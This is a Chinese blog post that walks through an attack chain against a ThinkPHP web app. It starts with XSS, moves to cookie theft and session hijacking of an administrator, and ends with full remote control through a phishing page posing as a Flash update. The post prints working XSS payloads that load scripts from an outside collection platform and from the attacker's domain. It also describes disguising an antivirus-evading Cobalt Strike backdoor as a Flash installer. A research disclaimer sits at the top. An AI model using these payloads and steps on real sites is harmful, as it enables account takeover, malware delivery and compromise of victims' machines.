当前位置:首页 > 技术 > 正文内容

利用XSS漏洞窃取Cookie并执行远程代码执行

访客 技术 2026年8月23日 1

本文旨在探讨跨站脚本攻击 (XSS) 的实际应用,特别是如何利用 XSS 漏洞获取用户 Cookie,并进一步演示如何通过 XSS 结合社会工程学手段,实现远程代码执行,最终控制目标系统。

免责声明: 本文所有演示均在自行搭建的隔离环境中进行,仅用于技术研究和教育目的。任何非法使用本文所述技术造成的后果,与作者及平台无关。

一、 环境搭建与介绍

本次演示将模拟一个常见的网络攻击场景。

  • 攻击者机器 (Kali Linux): IP 地址 192.168.1.9,运行 Cobalt Strike (CS) 作为 C2 服务器。
  • 目标 Web 应用 (ThinkPHP 框架): 部署在公网服务器上,地址为 http://test1.dayuixiyou.cn/
  • 钓鱼页面: 部署在公网服务器上,地址为 http://flash.dayuixiyou.cn
  • 受害者办公电脑 (Windows 7): 具有双网卡,IP 地址 192.168.175.15310.10.1.5

攻击流程概述:攻击者首先在公网服务器上部署了一个基于 ThinkPHP 框架的 Web 应用。通过分析该应用,发现了 XSS 漏洞。攻击者利用此漏洞,通过构造恶意 JavaScript 代码,诱使用户(特别是管理员)访问包含恶意脚本的页面,从而窃取其 Cookie。随后,攻击者利用窃取的 Cookie 绕过身份验证,登录后台管理系统。进阶阶段,攻击者还部署了一个伪装成 Flash 播放器更新的钓鱼页面,通过 XSS 漏洞诱导内网管理员下载并执行恶意程序,最终实现对管理员办公电脑的远程控制。

二、 XSS 漏洞利用与 Cookie 窃取

1. 漏洞探测

首先,我们在目标 Web 应用的用户中心输入信息,模拟正常用户操作。

在输入框中尝试注入简单的 XSS payload:

<script>alert(1)</script>

如果页面弹窗显示"1",则表明该处存在反射型 XSS 漏洞。通过查看页面源代码,确认注入的脚本并未被有效过滤。

2. XSS 平台的使用

注册一个 XSS 攻击平台(例如 https://xss.pt/)用于接收攻击者捕获的数据。

在平台上创建一个新项目,并选择"Keepsession"选项以保持会话状态。

平台会生成一个用于 XSS 攻击的 payload,类似如下格式:

</tExtArEa>'"><sCRiPt sRC=https://xss.pt/..aJ></sCrIpT>

这个 payload 的作用是将用户的 Cookie 信息发送到 XSS 攻击平台。

3. 漏洞注入与 Cookie 捕获

将上述 payload 注入到目标 Web 应用的 XSS 漏洞点。当用户(例如管理员)在后台执行某个操作,如"申请结算"或"提现"时,如果该操作的页面存在 XSS 漏洞,注入的恶意脚本就会被执行。

一旦 XSS payload 执行,用户(包括管理员)的 Cookie 信息就会被发送到 XSS 平台。通过 XSS 平台,攻击者可以查看到捕获到的管理员 Cookie 和访问 URL。

4. 利用 Cookie 登录后台

攻击者可以利用目录扫描工具发现后台管理页面的登录入口。

使用 Burp Suite 等工具拦截浏览器发送到后台的请求。将从 XSS 平台获取到的管理员 Cookie 替换掉请求中的 Cookie 信息,并发送该修改后的请求。

成功替换 Cookie 后,攻击者无需知道管理员的密码,即可直接访问后台管理界面,获得管理员权限。

三、 XSS 结合社会工程学实现远程代码执行

1. 搭建钓鱼页面

在公网服务器上搭建一个仿真的"Flash 播放器更新"页面(http://flash.dayuixiyou.cn),以诱导用户下载执行恶意程序。

2. 生成免杀的恶意程序

使用 Cobalt Strike 生成一个 C# 编写的后门程序。通过多种免杀技术(如代码混淆、加密、分离免杀等)处理,确保该后门程序能够绕过常见的杀毒软件检测。将该后门程序重命名为类似 flashplayer_install_cn.exe 的文件名,以增加迷惑性。

3. 修改钓鱼页面源码

修改仿真 Flash 更新页面的 index.html 文件。找到页面中所有指向下载链接的地方,将其修改为指向我们准备好的恶意可执行文件 flashplayer_install_cn.exe

同时,准备一个 JavaScript 文件(例如 flash-test.js)。当该 JS 文件被执行时,它会在页面上弹出一个提示框,内容为:"您的 FLASH 版本过低,尝试升级后访问该页面!",并引导用户访问钓鱼页面。

将恶意可执行文件和 JavaScript 文件一同上传到 Web 服务器的 Apache 目录下。

4. 利用 XSS 注入恶意脚本

再次利用目标 Web 应用的 XSS 漏洞。这次注入的 payload 将会加载我们准备好的 JavaScript 文件:

><sCRiPt sRC=//flash.dayuixiyou.cn/flash-test.js></sCrIpT><

需要注意的是,payload 的前后需要加上 HTML 标签闭合符 ><

当管理员在后台进行结算操作时,如果该页面存在 XSS 漏洞,注入的 JS 代码会被执行。用户会看到"Flash 版本过低"的提示,并被引导至钓鱼页面。

5. 诱导执行恶意程序

管理员在看到提示后,点击"确定"按钮,页面会跳转到我们搭建的仿 Flash 更新页面。页面会显示一个"立即下载"的按钮。管理员点击下载后,会获取到我们伪装的恶意可执行文件。

攻击者可以进一步修改 HTML 中的文件大小和文件名,使其看起来更加真实。

即便文件图标没有修改,但由于该 .exe 文件经过了免杀处理,管理员执行安装时,杀毒软件将无法检测到风险。

6. 获得系统控制权

一旦管理员在自己的办公电脑上执行了该恶意程序,Cobalt Strike C2 服务器将收到来自受害者机器的连接。攻击者成功获取了管理员办公电脑的 Shell,实现了远程代码执行。

四、 总结

本文通过一个完整的攻击链,演示了如何结合 XSS 漏洞、Cookie 劫持、社会工程学以及免杀技术,最终实现对目标系统管理员的控制。这突显了 Web 应用安全和用户安全意识的重要性。即使是基础的 XSS 漏洞,在精心策划的攻击下,也能造成严重的安全后果。

攻击的成功依赖于多种技术的综合运用,包括 Web 服务搭建、前端开发(HTML, JavaScript)、域名解析、XSS 漏洞利用、免杀技术以及 C2 框架(如 Cobalt Strike)的使用。

尽管 Flash 已不再主流,但类似的攻击思路同样适用于其他场景,例如伪装成软件更新、中奖信息、虚假购物网站等,利用用户的侥幸心理或贪小便宜的心理进行钓鱼。因此,提高安全意识、谨慎点击不明链接、不轻易下载和执行未知来源的文件,是每个网络用户都应具备的基本素养。

标签: XSS

相关文章

Linux crontab 详解

1) crontab 是什么cron 是 Linux 的定时任务守护进程;crontab 是用来编辑/查看“按时间周期执行命令”的表(cron table)。常见两类:用户 crontab:每个用户一份(crontab -e 编辑)系统级 crontab / cron.d:可指定执行用户(/etc/crontab、/etc/cron.d/*)2) crontab 时间...

富文本里可以允许的 HTML 属性

一、所有标签默认允许的安全属性(极少)class        (可选)id           (通常建议禁用)title️ 注意:id 容易被滥用做锚点注入,很多系统直接禁用class 允许的话最好只允许固定前缀(如 editor-*)二、a 标签允许属性<a href="" t...

Mac 安装 Node.js 指南

方法一:通过官网安装包(最简单,适合初学者)如果你只是想快速安装并开始使用,这是最直接的方法。访问 Node.js 官网。页面会显示两个版本:LTS (Recommended For Most Users):长期支持版,最稳定。建议选这个。Current:最新特性版,包含最新功能但可能不够稳定。下载 .pkg 安装包并运行。按照安装向导点击“下一步”即可完成。方法二:使用 Homebrew 安装(...

Dom\HTML_NO_DEFAULT_NS 的副作用:自动加闭合标签

在使用Dom\HTMLDocument时,Dom\HTML_NO_DEFAULT_NS 将禁止在解析过程中设置元素的命名空间, 此设置是为了与DOMDocument向后兼容而存在的。当使用它时,已知的一个副作用就是:自动加闭合标签例如 </img> 为什么会这样?当你使用:Dom\HTML_NO_DEFAULT_NS文档会变成 无命名空间模式,此时内部更接近 XML...

Laravel 事件和监听器创建

在 Laravel 中,使用 Artisan 命令创建 Events(事件) 和 Listeners(监听器) 是非常高效的。你可以通过以下几种方式来实现:1. 手动创建单个 Event如果你只想创建一个事件类,可以使用 make:event 命令:Bashphp artisan make:event UserRegistered执行后,文件将生成在 app/Even...

自定义域名解析神器 dnsmasq

什么是 dnsmasq?dnsmasq 是一个轻量级、功能强大的网络服务工具,专为小型和中等规模网络设计。它是一个综合的网络基础设施解决方案[1]。dnsmasq 能做什么?功能说明应用场景DNS 转发与缓存将 DNS 查询转发到上游服务器(ISP、Google DNS 等),并在本地缓存结果加快 DNS 查询速度,减少外部 DNS 流量本地 DNS解析本地网络设备的主机名,无需编辑&n...

发表评论

访客

◎欢迎参与讨论,请在这里发表您的看法和观点。